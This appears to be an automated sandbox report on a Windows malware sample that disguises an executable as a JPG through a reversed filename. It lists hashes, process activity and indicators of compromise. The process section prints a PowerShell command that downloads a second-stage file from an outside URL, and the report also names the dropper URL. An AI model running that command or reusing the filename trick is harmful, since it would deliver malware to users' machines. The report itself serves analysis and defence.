Analysis
- max time kernel
119s - max time network
120s - platform
windows7_x64 - resource
win7-20240704-en - resource tags
arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system - submitted
02/08/2024, 03:57
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
death.‮gpj.scr.exe
Resource
win7-20240704-en
8 signatures
150 seconds
Behavioral task
behavioral2
Sample
death.‮gpj.scr.exe
Resource
win10v2004-20240730-en
24 signatures
150 seconds
General
- Target death.‮gpj.scr.exe
- Size 466KB
- Sample240802-ehxsrszake
- SHA256 e173dd358ec750f561ec4eec0c6d75e8709bc32fbe43a5e9a92dd0db96c82b58
- MD5 0fdbc8c24e84eea10dc25e81765014a1
- SHA1 2d566a2b94fc8b16b97200392db1bbe714c31289
- SHA512 3cb0c09cc5303f7842fd5ba79a118f62586c4f494a2168c6103db55697fe9dc063f866ec5ee8fc208e01cfe7d7e6b044847c824ee28ed7b4ba41d035fb7da72f
- SSDEEP 12288:CgZXEAO/BUdG3gVdt7Kdm5bakhM/7xah42prW1:CgZXoZUTVdt7K0JakhM1ah42prW1
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://master-repogen.vercel.app/file/server.scr
Signatures
- Blocklisted process makes network request 2 IoCs
flow pid Process 5 2616 powershell.exe 6 2616 powershell.exe -
pid Process 2616 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language death.‮gpj.scr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language DllHost.exe - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2616 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2616 powershell.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2720 DllHost.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1472 wrote to memory of 2572 1472 death.‮gpj.scr.exe 31 PID 1472 wrote to memory of 2572 1472 death.‮gpj.scr.exe 31 PID 1472 wrote to memory of 2572 1472 death.‮gpj.scr.exe 31 PID 1472 wrote to memory of 2572 1472 death.‮gpj.scr.exe 31 PID 2572 wrote to memory of 2616 2572 cmd.exe 33 PID 2572 wrote to memory of 2616 2572 cmd.exe 33 PID 2572 wrote to memory of 2616 2572 cmd.exe 33 PID 2572 wrote to memory of 2616 2572 cmd.exe 33
Processes
-
C:\Users\Admin\AppData\Local\Temp\death.ΓÇ«gpj.scr.exe"C:\Users\Admin\AppData\Local\Temp\death.ΓÇ«gpj.scr.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1472 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\Dropper.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2572 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2616
-
-
-
C:\Windows\SysWOW64\DllHost.exeC:\Windows\SysWOW64\DllHost.exe /Processid:{76D0CB12-7604-4048-B83C-1005C7DDC503}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
PID:2720
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Dropper.bat
- Size 470B
- SHA256 6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71
- MD5 8073ff57f855d5cd51346f011933d9fb
- SHA1 d24fc282fb660945b87e1c41860a031f6e7ec9f6
- SHA512 9f2e04c4f8bdeab0e2075b5bc42edbe6a9ee4221fbf1ebbacd44238576e77f7b2d5f5d3ac90d433b8b6f5493fef51747405e14a5aa2cf59a4663b2cf385b4610
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\death.jpg
- Size 90KB
- SHA256 598dc794a9b904fbc5f528e1ff290a54323f3598a15d063b31d48c06f71fa58f
- MD5 5d8d4ee19e74d88a0f24aa241dddb14f
- SHA1 0172899ae844f7eba49c323c1d0d85c5888ca4d8
- SHA512 b863b5ae92bcf901d0fe6b9d188d65e4824acfcb3c32ba9e4e6e85727fe232df43241bed4b89698e751508f2e6b23481f6e411d8e8e88d08bfac452e01ff9d96
- SSDEEP 1536:TD4dv9wjQPylO8H4y+zQGoJcK3IUp02oEOUKgG6zXStmNGc60PYfTBFIL:TD4dv9wjQcOS5soJBIhe8eiwF6KiTBFk
- MD5 SHA1 SHA512 SSDEEP